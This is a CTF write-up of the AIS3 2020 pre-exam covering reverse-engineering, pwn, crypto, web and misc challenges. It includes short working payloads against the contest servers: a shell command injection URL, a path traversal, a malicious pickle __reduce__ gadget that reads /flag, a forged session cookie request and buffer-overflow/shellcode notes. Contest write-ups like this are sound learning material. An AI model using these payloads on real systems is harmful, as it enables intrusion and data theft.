# AIS3 2020 pre-exam https://pre-exam.ais3.org/ flag 形式為 `AIS3{printable_ascii}` <style> code, kbd, pre, samp { font-family: 'Fira Mono', Cousine, Inconsolata, monospace; } </style> --- # :space_invader: Reverse ## TsaiBro Reverse by Ghidra: ```c if (argc == 1) { printf("./TsaiBro string"); } else { puts("Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸..."); cnt = 0; while (nchars = strlen(argv[1]), (ulong)(long)cnt < nchars) { lookup = 0; while (lookup < 0x40) { if (table[lookup] == argv[1][cnt]) { uVar3 = (uint)(lookup >> 0x1f) >> 0x1d; // const zero iVar2 = lookup; if (lookup < 0) { // dead condition iVar2 = lookup + 7; } printf("發財%.*s發財%.*s",(ulong)((iVar2 >> 3) + 1),"..........", (ulong)(((lookup + uVar3 & 7) - uVar3) + 1),"..........."); break; } lookup = lookup + 1; } cnt = cnt + 1; } } ``` ## Stand up Brain! The input is 6 characters, and will be checked according to a brainf*ck program at 0x301020. After some guessing, the correct input turns out to be `C8763!`. ## Fallen beats * Decompile; export the code from JD-GUI * Modify `GameControl.java`, change two place where the combo is zeroed to "adding combo" instead. * Recompile. Play it again without touching the keyboard. Full combo get. ## Long Island Iced Tea From the code, only the first 8 bytes are clobbered. The `flag` file provided reveals almost all the real flag already. The first few characters are meant to be `AIS3{`, so we only need to bruteforce 3 characters (~85k combinations). A little bit dirty but still affordable if you have some spare machines. --- # :computer: Pwn ## bof Cliche. Jump to `0x400688` to get shell. ``` 00400687 55 PUSH RBP 00400688 48 89 e5 MOV RBP,RSP 0040068b 48 8d 3d LEA RDI,[DAT_004007c8] = 73h s 36 01 00 00 00400692 e8 d9 fe CALL system int system(char * __command) ff ff 00400697 90 NOP 00400698 5d POP RBP 00400699 c3 RET ``` ## nonsense No PIE, No NX. 0x60 (+ 0x10 bytes) for placing shellcode. Check function: Before the string `wubbalubbadubdub`, any character that is < 32 or > 128 will be rejected. Solution: near jump 32 bytes + magic string + padding + amd64 exec Special thanks to: * http://ref.x86asm.net/coder64.html * https://defuse.ca/online-x86-assembler.htm#disassembly --- # :key: Crypto ## Brontosaurus > is this really a crypto??? https://artis24106.github.io/notebook/CTF/AIS3PreExam2019/Misc/KcufsJ/ ```javascript const cip = '......' const val = Array.from(cip).reverse().join('') const flag = eval(val) ``` ## T-Rex Simply a substitution table, Column -> row. ## Blowfish Flow: * A pickle is provided, a dict of user/pwd entries with no admins. * Every session, (key, iv) is randomly generated, encrypting that pickle by blowfish in CTR mode (192 bytes result), b64 and returned as token. * Then the user is prompted to enter a token and try to decrypt by the original (key, iv) setup. * if successfully decrypted, that pickle is deserialized and check if corresponding user has admin attribute set. * if the user is admin, flag is shown. Q: If blowfish is flawless, the only way to pass a valid token is to pass the original one. Do we need to trick blowfish? A: **Nope.** In CTR mode decryption, the plain text is retrieved by xor-ing decrypted (IV+counter), which allows to do bit flippings. Inspired by [this](https://stackoverflow.com/a/50149988/2281355). ## Octopus Implement BB84 key exchange function to compute the `bit_stream`, and then xor with the result to get the flag. Reference: https://en.wikipedia.org/wiki/BB84. --- # :earth_asia: Web ## Shark Banned by WAF: * `../`... * `/`... But `path=~/../../../..` can be used to traverse in the filesystem. Use `/etc/hosts` to know that we are at `172.22.0.3` (a docker, haha). It is tempting to try https://shark.ais3.org/?path=http://172.22.0.2/flag. ## Squirrel See the output of https://squirrel.ais3.org/api.php?get=/proc/self/cmdline: `{"output":"cat\u0000\/proc\/self\/cmdline\u0000"}` This (PHP) script is calling `cat` to print data. Secondly: `curl https://squirrel.ais3.org/api.php?get=/proc/self/cmdline%00` ```html <b>Warning</b>: shell_exec(): NULL byte detected. Possible attack in <b>/var/www/html/api.php</b> on line <b>6</b><br /> ``` can dump out the source!! ```php <?php ... if ($file = @$_GET['get']) { $output = shell_exec("cat '$file'"); ... ``` Whoa we can do cmd injections! ``` https://squirrel.ais3.org/api.php?get=/dev/null%27;ls%20/;%27 https://squirrel.ais3.org/api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt ``` ## Elephant Inspired by the hidden contents, find https://elephant.ais3.org/.git/HEAD readable and use scrabble to download the source. `strcmp` trick! Serialize a user object with token `false`. ## Snake Python. When a unpickled object satisfies `a and not a`, the flag will be read. I cannot come up with such an object, but bypassing it is easy. I think it's a weaken problem. ```python class C(): def __reduce__(self): return (subprocess.check_output, (['cat', '/flag'],)) ``` ## Rhino JavaScript suggests "package.json" (actually `robots.txt` can help). Reproduce the environment by downloading `chill.js`, `package.json`, `package-lock.json`. Manually add to see what cookie it gives us: ```javascript= app.get('/flag.txt', (req, res) => { res.setHeader('Content-Type', 'text/plain'); if (req.session.magic == null) { req.session.magic = 1e-18; } ... ``` Where `1e-18` is a non-zero value that satisfies `n && n + 420 === 420`. The payload: ``` curl https://rhino.ais3.org/flag.txt \ -H "Cookie: express:sess=eyJtYWdpYyI6MWUtMTh9; \ express:sess.sig=jPC94vSRgp1ulVDOqw7UsZWELYg;" ``` --- # :game_die: Misc ## Piquero Tip: Braille Translator ``` ⠠⠁⠠⠊⠠⠎⠼⠉⠐⠸⠠⠊⠨⠤⠋⠑⠑⠇⠨⠤⠎⠇⠑⠑⠏⠽⠨⠤⠠⠛⠕⠕⠙⠨⠤⠠⠝⠊⠛⠓⠞⠖⠖⠖⠐⠸ ``` ``` AIS3⠐⠸I⠨-feel⠨-sleepy⠨-Good⠨-Night!!!⠐⠸ ``` which is appearently ``` AIS3{I_feel_sleepy_Good_Night!!!} ``` ## Karuego Tip: binwalk/foremost+stegsolve This png has an encrypted zip archive embedded. LSB is almost all zero. Suspicious. Extract LSBs from RGB: ``` 546865206b657920 6973203a206c6166 The key is : laf 6972650000000000 0000000000000000 ire..... ........ 0000000000000000 0000000000000000 ........ ........ ``` And inflating that ZIP. The flag is written on one of the images. `AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}` ## Soy Tip: https://merricx.github.io/qrazybox/ Recover by hand, and then feed into the raw Reed-Solomon Decoder. `AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}` ## Saburo An ordinary timing attack. ## Shichirou Create a symlink to `../flag.txt` naming `guess.txt`. Tar. Done.